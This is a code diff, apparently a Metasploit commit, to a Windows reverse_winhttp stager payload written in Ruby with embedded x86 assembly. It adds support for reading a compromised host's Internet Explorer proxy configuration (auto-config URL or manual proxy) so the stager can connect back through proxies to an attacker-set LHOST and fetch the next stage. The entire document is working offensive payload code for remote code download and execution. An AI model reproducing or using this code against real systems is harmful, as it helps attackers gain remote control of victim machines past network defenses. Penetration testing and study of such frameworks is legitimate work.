@@ -19,6 +19,16 @@ module Payload::Windows::ReverseWinHttp
19
19
include Msf ::Payload ::TransportConfig
20
20
include Msf ::Payload ::Windows ::ReverseHttp
21
21
22
+ #
23
+ # Register reverse_http specific options
24
+ #
25
+ def initialize ( *args )
26
+ super
27
+ register_advanced_options ( [
28
+ OptBool . new ( 'PayloadProxyIE' , [ false , 'Enable use of IE proxy settings' , true ] )
29
+ ] , self . class )
30
+ end
31
+
22
32
#
23
33
# Generate the first stage
24
34
#
@@ -27,21 +37,21 @@ def generate(opts={})
27
37
ssl : opts [ :ssl ] || false ,
28
38
host : datastore [ 'LHOST' ] ,
29
39
port : datastore [ 'LPORT' ] ,
30
- url : generate_small_uri ,
31
- retry_count : datastore [ 'StagerRetryCount' ]
40
+ uri : generate_small_uri ,
41
+ retry_count : datastore [ 'StagerRetryCount' ] ,
42
+ proxy_ie : datastore [ 'PayloadProxyIE' ]
32
43
}
33
44
34
45
# Add extra options if we have enough space
35
46
unless self . available_space . nil? || required_space > self . available_space
36
- conf [ :url ] = generate_uri
47
+ conf [ :uri ] = generate_uri
37
48
conf [ :exitfunk ] = datastore [ 'EXITFUNC' ]
38
49
conf [ :verify_cert_hash ] = opts [ :verify_cert_hash ]
39
50
conf [ :proxy_host ] = datastore [ 'PayloadProxyHost' ]
40
51
conf [ :proxy_port ] = datastore [ 'PayloadProxyPort' ]
41
52
conf [ :proxy_user ] = datastore [ 'PayloadProxyUser' ]
42
53
conf [ :proxy_pass ] = datastore [ 'PayloadProxyPass' ]
43
54
conf [ :proxy_type ] = datastore [ 'PayloadProxyType' ]
44
- conf [ :retry_count ] = datastore [ 'StagerRetryCount' ]
45
55
end
46
56
47
57
generate_reverse_winhttp ( conf )
@@ -105,7 +115,7 @@ def asm_generate_wchar_array(str)
105
115
# Generate an assembly stub with the configured feature set and options.
106
116
#
107
117
# @option opts [Bool] :ssl Whether or not to enable SSL
108
- # @option opts [String] :url The URI to request during staging
118
+ # @option opts [String] :uri The URI to request during staging
109
119
# @option opts [String] :host The host to connect to
110
120
# @option opts [Fixnum] :port The port to connect to
111
121
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@@ -117,9 +127,22 @@ def asm_reverse_winhttp(opts={})
117
127
retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
118
128
verify_ssl = nil
119
129
encoded_cert_hash = nil
120
- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
130
+ encoded_uri = asm_generate_wchar_array ( opts [ :uri ] )
121
131
encoded_host = asm_generate_wchar_array ( opts [ :host ] )
122
132
133
+ # this is used by the IE proxy functionality when an autoconfiguration URL
134
+ # is specified. We need the full URL otherwise the call to resolve the proxy
135
+ # for the URL doesn't work.
136
+ full_url = 'http'
137
+ full_url << 's' if opts [ :ssl ]
138
+ full_url << '://' << opts [ :host ]
139
+ full_url << ":#{ opts [ :port ] } " if opts [ :ssl ] && opts [ :port ] != 443
140
+ full_url << ":#{ opts [ :port ] } " if !opts [ :ssl ] && opts [ :port ] != 80
141
+ full_url << opts [ :uri ]
142
+
143
+ encoded_full_url = asm_generate_wchar_array ( full_url )
144
+ encoded_uri_index = full_url . rindex ( '/' ) * 2
145
+
123
146
if opts [ :ssl ] && opts [ :verify_cert_hash ]
124
147
verify_ssl = true
125
148
encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
@@ -164,6 +187,14 @@ def asm_reverse_winhttp(opts={})
164
187
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
165
188
end
166
189
190
+ ie_proxy_autodect = (
191
+ 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
192
+ 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
193
+
194
+ ie_proxy_flags = (
195
+ 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
196
+ 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
197
+
167
198
asm = %Q^
168
199
; Input: EBP must be the address of 'api_call'.
169
200
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@@ -218,14 +249,34 @@ def asm_reverse_winhttp(opts={})
218
249
^
219
250
end
220
251
252
+ if opts [ :proxy_ie ] == true && !proxy_enabled
253
+ asm << %Q^
254
+ push eax ; Session handle is required later for ie proxy
255
+ ^
256
+ end
257
+
221
258
asm << %Q^
222
259
WinHttpConnect:
223
260
push ebx ; Reserved (NULL)
224
261
push #{ opts [ :port ] } ; Port [3]
225
262
call got_server_uri ; Double call to get pointer for both server_uri and
226
263
server_uri: ; server_host; server_uri is saved in edi for later
227
- db #{ encoded_url }
264
+ ^
265
+
266
+ if opts [ :proxy_ie ] == true && !proxy_enabled
267
+ asm << %Q^
268
+ db #{ encoded_full_url }
228
269
got_server_host:
270
+ add edi, #{ encoded_uri_index } ; move edi up to where the URI starts
271
+ ^
272
+ else
273
+ asm << %Q^
274
+ db #{ encoded_uri }
275
+ got_server_host:
276
+ ^
277
+ end
278
+
279
+ asm << %Q^
229
280
push eax ; Session handle returned by WinHttpOpen
230
281
push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpConnect' ) }
231
282
call ebp
@@ -275,6 +326,89 @@ def asm_reverse_winhttp(opts={})
275
326
push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSetCredentials' ) }
276
327
call ebp
277
328
^
329
+ elsif opts [ :proxy_ie ] == true
330
+ asm << %Q^
331
+ ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
332
+ ; a 16-byte structure
333
+ sub esp, 16
334
+ mov eax, esp ; store a pointer to the buffer
335
+ push edi ; store the current URL in case it's needed
336
+ mov edi, eax ; put the buffer pointer in edi
337
+ push edi ; Push a pointer to the buffer
338
+ push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpGetIEProxyConfigForCurrentUser' ) }
339
+ call ebp
340
+
341
+ test eax, eax ; skip the rest of the proxy stuff if the call failed
342
+ jz ie_proxy_setup_finish
343
+
344
+ ; check the "auto detect" flag to see if it's set, if it is, jump to the
345
+ ; end and let things carry on as they were
346
+ mov eax, [edi]
347
+ test eax, eax
348
+ jnz ie_proxy_setup_finish
349
+
350
+ ; if auto detect isn't on, check if there's an auto configuration URL
351
+ mov eax, [edi+4]
352
+ test eax, eax
353
+ jz ie_proxy_manual
354
+
355
+ ; restore the URL we need to reference
356
+ pop edx
357
+ sub edx, #{ encoded_uri_index } ; move edx up to where the full URL starts
358
+
359
+ ; set up the autoproxy structure on the stack
360
+ push 1 ; fAutoLogonIfChallenged (1=TRUE)
361
+ push ebx ; dwReserved (0)
362
+ push ebx ; lpReserved (NULL)
363
+ push eax ; lpszAutoConfigUrl
364
+ push #{ ie_proxy_autodect } ; dwAutoDetectFlags
365
+ push #{ ie_proxy_flags } ; dwFlags
366
+ mov eax, esp
367
+
368
+ ; prepare space for the resulting proxy info structure
369
+ sub esp, 12
370
+ mov edi, esp ; store the proxy pointer
371
+
372
+ ; prepare the WinHttpGetProxyForUrl call
373
+ push edi ; pProxyInfo
374
+ push eax ; pAutoProxyOptions
375
+ push edx ; lpcwszUrl
376
+ lea eax, [esp+64] ; Find the pointer to the hSession - HACK!
377
+ push [eax] ; hSession
378
+ push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpGetProxyForUrl' ) }
379
+ call ebp
380
+
381
+ test eax, eax ; skip the rest of the proxy stuff if the call failed
382
+ jz ie_proxy_setup_finish
383
+ jmp set_ie_proxy ; edi points to the filled out proxy structure
384
+
385
+ ie_proxy_manual:
386
+ ; check to see if a manual proxy is specified, if not, we skip
387
+ mov eax, [edi+8]
388
+ test eax, eax
389
+ jz ie_proxy_setup_finish
390
+
391
+ ; manual proxy present, set up the proxy info structure by patching the
392
+ ; existing current user IE structure that is in edi
393
+ push 4
394
+ pop eax
395
+ add edi, eax ; skip over the fAutoDetect flag
396
+ dec eax
397
+ mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
398
+
399
+ ; fallthrough to set the ie proxy
400
+
401
+ set_ie_proxy:
402
+ ; we assume that edi is going to point to the proxy options
403
+ push 12 ; dwBufferLength (sizeof proxy options)
404
+ push edi ; lpBuffer (pointer to the proxy)
405
+ push 38 ; dwOption (WINHTTP_OPTION_PROXY)
406
+ push esi ; hRequest
407
+ push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSetOption' ) }
408
+ call ebp
409
+
410
+ ie_proxy_setup_finish:
411
+ ^
278
412
end
279
413
280
414
if opts [ :ssl ]
0 commit comments